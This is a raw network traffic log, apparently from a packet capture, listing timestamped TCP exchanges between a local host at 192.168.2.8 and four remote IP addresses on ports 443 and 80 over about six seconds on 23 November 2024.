Nov 23, 2024 21:15:32.376003981 CET	49732	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.376020908 CET	443	49732	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.376029015 CET	49732	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.376034975 CET	443	49732	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.377108097 CET	49733	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.377134085 CET	443	49733	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.377147913 CET	49733	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.377156019 CET	443	49733	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.378700972 CET	49738	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.378730059 CET	443	49738	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.378954887 CET	49738	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.403042078 CET	443	49734	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.403129101 CET	443	49734	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.403212070 CET	49734	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.416456938 CET	49739	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.416501045 CET	443	49739	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.416639090 CET	49739	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.421093941 CET	49738	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.421107054 CET	443	49738	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.429354906 CET	49734	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.429371119 CET	443	49734	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.429389954 CET	49734	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.429399967 CET	443	49734	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.437993050 CET	49739	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.438009977 CET	443	49739	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.451651096 CET	49740	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.451694012 CET	443	49740	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.451811075 CET	49740	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.455527067 CET	49740	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.455542088 CET	443	49740	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.464631081 CET	49741	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.464668989 CET	443	49741	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.464751959 CET	49741	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.469168901 CET	49741	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.469178915 CET	443	49741	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.816282988 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:32.816329956 CET	443	49742	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:32.816390991 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:32.818500996 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:32.818521023 CET	443	49742	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:32.992371082 CET	443	49736	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:32.992623091 CET	49736	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:32.993887901 CET	49736	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:32.993902922 CET	443	49736	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:32.994227886 CET	443	49736	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:33.039737940 CET	49736	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:33.048707008 CET	49736	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:33.048707008 CET	49736	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:33.048825979 CET	443	49736	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:33.680591106 CET	443	49736	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:33.680707932 CET	443	49736	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:33.680757046 CET	49736	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:33.681018114 CET	49736	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:33.681035995 CET	443	49736	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:33.681049109 CET	49736	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:33.681058884 CET	443	49736	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:33.757874012 CET	49743	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:33.757927895 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:33.757983923 CET	49743	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:33.759042025 CET	49743	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:33.759053946 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:33.880932093 CET	443	49737	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:33.881711960 CET	49737	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:33.881721973 CET	443	49737	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:33.883918047 CET	49737	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:33.883930922 CET	443	49737	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:33.946595907 CET	49721	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:33.946855068 CET	49744	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:34.032567978 CET	443	49742	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:34.032629967 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:34.034557104 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:34.034569025 CET	443	49742	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:34.034828901 CET	443	49742	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:34.050045967 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:34.051127911 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:34.051168919 CET	443	49742	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:34.051433086 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:34.051462889 CET	443	49742	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:34.051593065 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:34.051625013 CET	443	49742	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:34.051753998 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:34.051795006 CET	443	49742	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:34.053117990 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:34.053157091 CET	443	49742	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:34.053313971 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:34.053354979 CET	443	49742	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:34.053363085 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:34.053519964 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:34.053569078 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:34.068147898 CET	80	49721	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:34.068208933 CET	80	49744	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:34.068310976 CET	49744	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:34.068423986 CET	49721	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:34.068953037 CET	49744	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:34.095329046 CET	443	49742	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:34.095530987 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:34.095601082 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:34.095622063 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:34.143326044 CET	443	49742	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:34.143557072 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:34.143610954 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:34.143646002 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:34.166138887 CET	443	49739	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.166701078 CET	49739	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.166717052 CET	443	49739	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.167216063 CET	49739	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.167221069 CET	443	49739	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.183183908 CET	443	49740	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.183650017 CET	49740	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.183670044 CET	443	49740	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.184187889 CET	49740	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.184192896 CET	443	49740	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.191322088 CET	443	49742	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:34.191426039 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:34.192174911 CET	443	49741	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.192706108 CET	49741	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.192775011 CET	443	49741	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.193139076 CET	49741	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.193145990 CET	443	49741	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.206790924 CET	443	49738	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.207349062 CET	49738	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.207360983 CET	443	49738	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.207735062 CET	49738	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.207739115 CET	443	49738	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.229212046 CET	80	49744	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:34.239324093 CET	443	49742	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:34.326350927 CET	443	49737	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.326426983 CET	443	49737	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.326606035 CET	49737	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.326808929 CET	49737	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.326808929 CET	49737	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.326832056 CET	443	49737	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.326841116 CET	443	49737	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.330627918 CET	49745	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.330677986 CET	443	49745	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.330817938 CET	49745	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.331170082 CET	49745	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.331188917 CET	443	49745	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.540939093 CET	443	49742	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:34.615267038 CET	443	49739	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.615338087 CET	443	49739	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.615535975 CET	49739	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.615808010 CET	49739	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.615808010 CET	49739	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.615824938 CET	443	49739	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.615833998 CET	443	49739	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.618984938 CET	49746	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.619009018 CET	443	49746	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.619085073 CET	49746	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.619280100 CET	49746	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.619287968 CET	443	49746	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.741765022 CET	443	49740	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.741852045 CET	443	49740	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.741939068 CET	49740	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.742453098 CET	49740	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.742453098 CET	49740	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.742469072 CET	443	49740	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.742471933 CET	443	49740	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.745059967 CET	49747	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.745088100 CET	443	49747	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.745243073 CET	49747	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.745393038 CET	49747	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.745402098 CET	443	49747	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.830914021 CET	443	49741	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.830996037 CET	443	49741	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.831062078 CET	49741	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.831258059 CET	49741	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.831275940 CET	443	49741	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.831290960 CET	49741	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.831295967 CET	443	49741	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.833744049 CET	49748	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.833781004 CET	443	49748	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.833849907 CET	49748	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.833981991 CET	49748	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.833990097 CET	443	49748	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.847827911 CET	443	49738	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.847991943 CET	443	49738	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.848113060 CET	49738	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.848309040 CET	49738	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.848309040 CET	49738	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.848320007 CET	443	49738	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.848328114 CET	443	49738	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.850351095 CET	49749	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.850382090 CET	443	49749	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:34.850476027 CET	49749	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.851633072 CET	49749	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:34.851638079 CET	443	49749	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:35.020462036 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:35.020615101 CET	49743	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:35.024202108 CET	49743	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:35.024214983 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:35.024549007 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:35.031297922 CET	49743	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:35.031297922 CET	49743	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:35.031420946 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:35.536154985 CET	80	49744	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:35.536218882 CET	49744	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:35.540900946 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:35.541177988 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:35.896748066 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:36.034625053 CET	80	49744	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:36.035804987 CET	49744	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:36.036606073 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:36.036685944 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:36.038511992 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:36.038594961 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:36.038866043 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:36.145406961 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:36.145451069 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:36.145490885 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:36.145543098 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:36.145561934 CET	49743	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:36.145593882 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:36.145606995 CET	49743	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:36.156114101 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:36.156147957 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:36.156214952 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:36.156250954 CET	49743	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:36.156290054 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:36.156301975 CET	49743	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:36.172920942 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:36.172991991 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:36.173185110 CET	49743	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:36.173219919 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:36.173804045 CET	49743	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:36.275885105 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:36.510507107 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:36.510618925 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:36.642817974 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:36.693629980 CET	49743	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:36.760957956 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:36.761465073 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:36.763370037 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:36.763469934 CET	49743	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:36.763484955 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:36.763608932 CET	49743	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:36.774529934 CET	49743	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:36.774601936 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:36.774640083 CET	49743	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:36.774657965 CET	443	49743	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:36.891925097 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:37.187438011 CET	443	49745	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:37.190540075 CET	49745	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:37.190555096 CET	443	49745	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:37.191076994 CET	49745	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:37.191083908 CET	443	49745	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:37.281455994 CET	443	49746	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:37.282330036 CET	49746	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:37.282341003 CET	443	49746	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:37.282738924 CET	49746	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:37.282743931 CET	443	49746	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:37.318314075 CET	443	49747	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:37.319128990 CET	49747	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:37.319140911 CET	443	49747	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:37.319750071 CET	49747	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:37.319756031 CET	443	49747	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:37.322870016 CET	443	49749	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:37.323210955 CET	49749	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:37.323227882 CET	443	49749	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:37.323813915 CET	49749	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:37.323818922 CET	443	49749	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:37.400681973 CET	443	49748	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:37.407265902 CET	49748	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:37.407290936 CET	443	49748	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:37.407989979 CET	49748	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:37.407994032 CET	443	49748	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.031358004 CET	443	49746	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.031435013 CET	443	49746	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.031547070 CET	49746	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.037476063 CET	49746	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.037476063 CET	49746	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.037497044 CET	443	49746	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.037508011 CET	443	49746	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.041167021 CET	443	49749	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.041331053 CET	443	49749	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.041407108 CET	49749	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.048257113 CET	443	49745	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.048324108 CET	443	49745	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.048738003 CET	49745	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.049334049 CET	443	49747	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.049407005 CET	443	49747	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.051255941 CET	49747	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.070743084 CET	49747	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.070743084 CET	49747	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.070763111 CET	443	49747	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.070775032 CET	443	49747	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.071409941 CET	49749	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.071434021 CET	443	49749	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.071448088 CET	49749	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.071454048 CET	443	49749	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.071826935 CET	49745	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.071826935 CET	49745	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.071832895 CET	443	49745	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.071841955 CET	443	49745	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.076883078 CET	49757	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.076905966 CET	443	49757	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.076981068 CET	49757	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.077188969 CET	49758	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.077280045 CET	443	49758	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.077358007 CET	49758	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.077831984 CET	49757	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.077845097 CET	443	49757	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.077989101 CET	49758	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.078022957 CET	443	49758	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.079200029 CET	49759	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.079207897 CET	443	49759	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.079267979 CET	49759	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.079525948 CET	49760	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.079555035 CET	443	49760	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.079581022 CET	49759	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.079591990 CET	443	49759	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.079603910 CET	49760	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.079761982 CET	49760	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.079780102 CET	443	49760	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.090003967 CET	49761	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:38.090029001 CET	443	49761	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:38.090089083 CET	49761	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:38.090408087 CET	49761	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:38.090425014 CET	443	49761	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:38.090754032 CET	443	49748	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.090914011 CET	443	49748	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.091053963 CET	49748	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.091125965 CET	49748	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.091125965 CET	49748	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.091161013 CET	443	49748	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.091187954 CET	443	49748	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.093847036 CET	49762	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.093859911 CET	443	49762	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.093945980 CET	49762	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.094048977 CET	49762	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:38.094068050 CET	443	49762	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:38.295303106 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:38.295406103 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:38.295479059 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:38.295866013 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:38.295913935 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:38.295913935 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:38.295928955 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:38.295983076 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:38.296180010 CET	80	49750	185.215.113.16	192.168.2.8
